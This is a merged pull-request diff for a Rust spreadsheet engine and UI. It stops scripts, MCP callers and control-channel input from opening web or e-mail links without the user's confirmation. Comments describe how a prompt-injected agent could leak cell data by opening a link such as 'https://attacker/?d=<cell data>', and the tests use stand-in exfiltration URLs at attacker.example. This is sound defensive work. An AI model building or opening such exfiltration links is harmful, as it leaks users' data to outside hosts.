Merge pull request #2203 from Higgs32584/fix/2181-link-open-confirmation

link: require confirmation for programmatic link.open (#2181)

crates/engine/src/cmd/insert.rs

@@ -179,7 +179,7 @@ pub fn specs() -> Vec<CommandSpec> {
             "Open Hyperlink",
             [],
             None,
-            "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); only http, https and mailto are opened, any other scheme is an error; the UI asks before opening",
+            "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); a reference selects; a web or e-mail address is an error unless the host allows it: the user opens those by clicking the link and confirming; any scheme but http, https and mailto is always an error",
             has_doc,
             open_link
         ),
@@ -1340,9 +1340,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result<Json> {
     })
 }
 
-/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the
-/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no
-/// dialog; the interactive click asks for confirmation first, in the UI.
+/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]).
+/// An `http`/`https`/`mailto` address is refused too unless the host set
+/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so
+/// the user opens such links by clicking and confirming, and the UI then calls
+/// [`Session::open_confirmed_link`] (#2181). Opens no dialog.
 fn open_link(s: &mut Session, p: &Json) -> Result<Json> {
     let target = match str_param(p, "url").or_else(|| str_param(p, "target")) {
         Some(t) => t.to_string(),
@@ -1358,6 +1360,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result<Json> {
     match crate::links::classify(&target) {
         crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})),
         crate::links::LinkKind::External(u) => {
+            if s.link_policy != crate::links::LinkPolicy::Allow {
+                return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into()));
+            }
             s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone()));
             Ok(json!({"opened": u}))
         }

crates/engine/src/lib.rs

@@ -514,6 +514,9 @@ pub struct Session {
     /// Review › Notes › Show All Notes: every note is displayed. An application display setting
     /// (like Excel's comment indicator option), so it's not saved in the file.
     pub show_all_notes: bool,
+    /// Whether `link.open` may open web and e-mail addresses without the user's confirmation
+    /// (#2181). Host code sets it; no command does.
+    pub link_policy: links::LinkPolicy,
     /// Open undo groups, innermost last.
     groups: Vec<OpenGroup>,
     next_group: u64,

crates/engine/src/links.rs

@@ -2,8 +2,50 @@
 //! somebody sent), so it is hostile input: only `http`, `https` and `mailto` ever leave the
 //! workbook for the system; `file:`, `smb:`, UNC paths, custom URL handlers, `javascript:` and
 //! the like are refused. Everything without a scheme stays an in-workbook reference.
+//!
+//! Opening an allowed address also needs the user's say-so (#2181): `link.open` is reachable by
+//! the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open
+//! `https://attacker/?d=<cell data>`. Under the default [`LinkPolicy::Confirm`] the command refuses
+//! external addresses; only the host, after showing the address and getting OK from the user,
+//! opens one through [`crate::Session::open_confirmed_link`], which no command reaches.
 
 use gridcraft_core::RangeRef;
+use serde_json::{Value as Json, json};
+
+use crate::{EngineError, Result, Session, UiRequest};
+
+/// Whether `link.open` may hand an external (`http`/`https`/`mailto`) address to the host without
+/// asking. Set by the host in code, never by a command, so a programmatic caller can't widen it.
+#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
+pub enum LinkPolicy {
+    /// `link.open` refuses external addresses; the user opens them by clicking the link, which
+    /// asks first ([`Session::open_confirmed_link`]). References still navigate.
+    #[default]
+    Confirm,
+    /// The host trusts every caller of this session (an embedding that vets requests itself):
+    /// `link.open` opens allowed addresses directly. Disallowed schemes stay refused.
+    Allow,
+}
+
+/// The error a programmatic `link.open` of a web or e-mail address returns.
+pub const NEEDS_CONFIRMATION: &str = "Web and e-mail links open only when the user clicks them and confirms; a command can't open them.";
+
+impl Session {
+    /// Opens a link the user has just confirmed in the host's "Open Hyperlink" prompt: an allowed
+    /// address goes to the host (`UiRequest::OpenUrl`), a reference selects, anything else is
+    /// refused ([`classify`]). Not a command: only host code that showed the user this exact
+    /// address may call it.
+    pub fn open_confirmed_link(&mut self, target: &str) -> Result<Json> {
+        match classify(target) {
+            LinkKind::Internal(r) => self.execute("edit.goTo", json!({"reference": r.trim_start_matches('#')})),
+            LinkKind::External(u) => {
+                self.ui_requests.push(UiRequest::OpenUrl(u.clone()));
+                Ok(json!({"opened": u}))
+            }
+            LinkKind::Refused(why) => Err(EngineError::Other(why)),
+        }
+    }
+}
 
 /// What a link target is.
 #[derive(Clone, Debug, PartialEq, Eq)]

crates/engine/src/tests.rs

@@ -4680,12 +4680,57 @@ fn link_open_refuses_every_scheme_but_http_https_and_mailto() {
     }
     assert!(s.execute("link.open", json!({"cell": "A1"})).is_err());
     assert!(s.take_ui_requests().is_empty());
+    // A host's `Allow` policy opens web and e-mail addresses directly, and nothing else.
+    s.link_policy = crate::links::LinkPolicy::Allow;
+    for url in ["file:///etc/passwd", "smb://h/s", "\\\\h\\s", "JAVASCRIPT:1"] {
+        assert!(s.execute("link.open", json!({"url": url})).is_err(), "{url}");
+    }
+    assert!(s.take_ui_requests().is_empty());
     s.execute("link.open", json!({"url": "HTTPS://example.org/a"})).unwrap();
     assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("HTTPS://example.org/a".into())]);
     s.execute("link.open", json!({"url": "B2"})).unwrap();
     assert!(s.take_ui_requests().is_empty());
 }
 
+/// #2181: `link.open` is reachable by the control channel, CLI, MCP and scripts, so by default it
+/// opens no web or e-mail address (an exfiltration channel: `https://attacker/?d=<cell data>`)
+/// and asks for no dialog either; only the host's confirmed path opens one.
+#[test]
+fn programmatic_link_open_never_opens_an_external_address_without_confirmation() {
+    let mut s = s();
+    assert_eq!(s.link_policy, crate::links::LinkPolicy::Confirm, "confirmation is the default");
+    s.execute("cell.set", json!({"cell": "A1", "input": "secret"})).unwrap();
+    s.execute("insert.link", json!({"cell": "B1", "target": "https://attacker.example/?d=secret"})).unwrap();
+    s.execute("insert.link", json!({"cell": "C1", "target": "mailto:x@attacker.example"})).unwrap();
+    s.take_ui_requests();
+    for p in [
+        json!({"url": "https://attacker.example/?d=secret"}),
+        json!({"url": "http://attacker.example"}),
+        json!({"target": "MAILTO:x@attacker.example"}),
+        json!({"cell": "B1"}),
+        json!({"cell": "C1"}),
+    ] {
+        let e = s.execute("link.open", p.clone()).unwrap_err().to_string();
+        assert!(e.contains(crate::links::NEEDS_CONFIRMATION), "{p}: {e}");
+    }
+    assert!(s.take_ui_requests().is_empty(), "no OpenUrl and no dialog for a programmatic caller");
+    assert!(s.execute_headless("link.open", json!({"cell": "B1"})).is_err());
+    assert!(s.take_ui_requests().is_empty());
+    // References still navigate.
+    s.execute("link.open", json!({"url": "A1"})).unwrap();
+    assert!(s.take_ui_requests().is_empty());
+
+    // The host's confirmed path opens the allowed address, and still refuses every other scheme.
+    assert_eq!(s.open_confirmed_link(" https://example.org/a ").unwrap(), json!({"opened": "https://example.org/a"}));
+    assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("https://example.org/a".into())]);
+    for url in ["file:///etc/passwd", "\\\\h\\s", "javascript:1", "x-custom://a", "\u{1}https://a.example"] {
+        assert!(s.open_confirmed_link(url).is_err(), "{url:?}");
+    }
+    assert!(s.take_ui_requests().is_empty());
+    s.open_confirmed_link("Sheet1!C3").unwrap();
+    assert_eq!(s.doc().unwrap().selection.active, CellRef::new(2, 2));
+}
+
 #[test]
 fn subtotal_109_recalculates_when_row_height_or_autofit_reveals_rows() {
     let mut s = s();

crates/ui-egui/src/dialogs.rs

@@ -74,6 +74,9 @@ pub struct Dialog {
     picture_target: Option<(u64, usize)>,
     /// The dialog this one was opened from (Name Manager › New…): it comes back when this closes.
     back: Option<Box<Dialog>>,
+    /// Open Hyperlink: the address the prompt shows, which OK opens. Private, unlike `values`, so
+    /// `ui.dialog.set` can't swap it behind the text the user reads (#2181).
+    link: Option<String>,
     pub(crate) focus_initialized: bool,
     /// The formula box that takes references clicked or dragged on the grid (New Formatting Rule).
     pick: Option<RefPick>,
@@ -224,6 +227,7 @@ impl Dialog {
             picture_inbox: None,
             picture_target: None,
             back: None,
+            link: None,
             focus_initialized: false,
             pick: None,
             original_link_text: None,
@@ -248,6 +252,7 @@ impl Dialog {
             picture_inbox: None,
             picture_target: None,
             back: None,
+            link: None,
             focus_initialized: false,
             pick: None,
             original_link_text: None,
@@ -529,19 +534,18 @@ impl Dialog {
                     json!({"text": existing}),
                 )
             }
-            // Asks before a web or e-mail link leaves the workbook; OK runs `link.open`, which
-            // refuses anything but http, https and mailto.
+            // Asks before a web or e-mail link leaves the workbook. OK opens it through
+            // `Session::open_confirmed_link` (which refuses anything but http, https and mailto),
+            // not a command: `link.open` refuses web addresses for programmatic callers, and a
+            // dialog without a command can't be confirmed over the control channel (#2181).
             "openLink" => {
                 let url = params.get("url").and_then(Json::as_str).unwrap_or_default().to_string();
-                Dialog::form(
-                    "openLink",
-                    "Open Hyperlink",
-                    "link.open",
-                    vec![Note(format!(
-                        "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}"
-                    ))],
-                    json!({"url": url}),
-                )
+                let mut d = Dialog::custom("openLink", "Open Hyperlink", json!({"url": url}));
+                d.fields = vec![Note(format!(
+                    "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}"
+                ))];
+                d.link = Some(url);
+                d
             }
             "insertLink" => {
                 let mut d = Dialog::form(
@@ -1163,6 +1167,60 @@ mod tests {
         assert!(gridcraft_engine::cmd::data::check_validation(&doc.wb, 0, at, "4").is_some());
     }
 
+    /// #2181: a programmatic `link.open` opens nothing; the Open Hyperlink prompt has no command
+    /// the control channel could confirm, and its OK opens exactly the address it showed.
+    #[test]
+    fn open_hyperlink_opens_only_the_address_the_user_confirmed() {
+        use show::open_confirmed_link;
+        use std::{cell::RefCell, rc::Rc};
+        let opened = Rc::new(RefCell::new(Vec::<String>::new()));
+        let sink = opened.clone();
+        let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() };
+        let mut session = gridcraft_engine::Session::default();
+        session.new_workbook();
+        let mut app = SheetApp::new(session, services);
+        assert!(app.run("link.open", json!({"url": "https://attacker.example/?d=secret"})).is_err());
+        app.after_engine();
+        assert!(opened.borrow().is_empty(), "a programmatic link.open opens nothing");
+        assert!(app.dialog.is_none(), "and opens no dialog");
+
+        let mut d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap();
+        assert!(d.command.is_none(), "`ui.dialog.confirm` can't press OK for the user");
+        // A value edited behind the prompt's text is ignored: OK opens what the user read.
+        d.set_value("url", json!("https://attacker.example/?d=secret"));
+        open_confirmed_link(&mut app, &d).unwrap();
+        assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]);
+
+        let bad = Dialog::open(&mut app, "openLink", json!({"url": "file:///etc/passwd"})).unwrap();
+        assert!(open_confirmed_link(&mut app, &bad).is_err());
+        assert_eq!(opened.borrow().len(), 1);
+    }
+
+    /// #2181: an OK that arrives with synthetic control-channel input (`ui.key` Enter, `ui.click`
+    /// on OK) opens nothing and keeps the prompt open; the same OK from the user opens the link.
+    #[test]
+    fn synthetic_input_cannot_confirm_open_hyperlink() {
+        use show::{SYNTHETIC_LINK_CONFIRM, confirm_open_link};
+        use std::{cell::RefCell, rc::Rc};
+        let opened = Rc::new(RefCell::new(Vec::<String>::new()));
+        let sink = opened.clone();
+        let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() };
+        let mut session = gridcraft_engine::Session::default();
+        session.new_workbook();
+        let mut app = SheetApp::new(session, services);
+        let d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap();
+
+        app.synthetic_pending = true;
+        assert!(!confirm_open_link(&mut app, &d), "the prompt stays open");
+        assert!(opened.borrow().is_empty(), "synthetic input opens nothing");
+        assert_eq!(app.message.as_ref().map(|m| m.1.as_str()), Some(SYNTHETIC_LINK_CONFIRM));
+
+        app.synthetic_pending = false;
+        app.message = None;
+        assert!(confirm_open_link(&mut app, &d), "the user's OK closes the prompt");
+        assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]);
+    }
+
     #[test]
     fn data_validation_without_a_rule_opens_on_a_blank_list() {
         let mut session = gridcraft_engine::Session::default();

crates/ui-egui/src/dialogs/show.rs

@@ -407,6 +407,12 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
         app.message = Some((d.title.clone(), "Return to the original worksheet to insert this picture, or cancel and choose another cell.".into()));
         confirm = false;
     }
+    if confirm && d.name == "openLink" {
+        confirm = false;
+        if confirm_open_link(app, &d) {
+            open = false;
+        }
+    }
     if confirm && d.command.is_some() && home_sheet_deleted(app, &mut d) {
         // References without a sheet name would land on whichever sheet is shown now.
         app.message = Some((d.title.clone(), SHEET_DELETED.into()));
@@ -485,6 +491,33 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
     }
 }
 
+/// OK in Open Hyperlink; returns whether the prompt closes. A pass that carries control-channel
+/// input (`ui.key`, `ui.click`, `ui.drag`) can't say yes for the user (#2181): the link stays
+/// unopened and the prompt open, with a message. Real input in that same pass is refused too, so
+/// the user just presses OK again.
+pub(super) fn confirm_open_link(app: &mut SheetApp, d: &Dialog) -> bool {
+    if app.synthetic_pending {
+        app.message = Some((d.title.clone(), SYNTHETIC_LINK_CONFIRM.into()));
+        return false;
+    }
+    if let Err(e) = open_confirmed_link(app, d) {
+        app.message = Some((d.title.clone(), crate::clean_error(&e)));
+    }
+    true
+}
+
+/// Why Open Hyperlink ignored an OK that arrived with synthetic control-channel input.
+pub(super) const SYNTHETIC_LINK_CONFIRM: &str = "Synthetic input from the control channel can't open a link: press OK yourself to open it.";
+
+/// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never
+/// one a caller edited into its values afterwards.
+pub(super) fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> {
+    let url = d.link.as_deref().unwrap_or_default();
+    let r = app.session.open_confirmed_link(url).map(|_| ()).map_err(|e| e.to_string());
+    app.after_engine();
+    r
+}
+
 pub(super) fn ok_cancel(ui: &mut egui::Ui, confirm: &mut bool, open: &mut bool) {
     ui.add_space(8.0);
     // A row as tall as the buttons: a right-to-left layout straight in the window takes all the

crates/ui-egui/src/grid/interact.rs

@@ -1069,8 +1069,9 @@ fn drag_object(app: &mut SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) {
 }
 
 /// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's
-/// OK runs `link.open`); every other kind is refused with a message. The decision is the
-/// engine's ([`gridcraft_engine::links::classify`]), the same one `link.open` applies.
+/// OK calls `Session::open_confirmed_link`, since `link.open` refuses them for programmatic
+/// callers, #2181); every other kind is refused with a message. The decision is the engine's
+/// ([`gridcraft_engine::links::classify`]), the same one `link.open` applies.
 pub fn follow_link(app: &mut SheetApp, target: &str) {
     use gridcraft_engine::links::{LinkKind, classify};
     match classify(target) {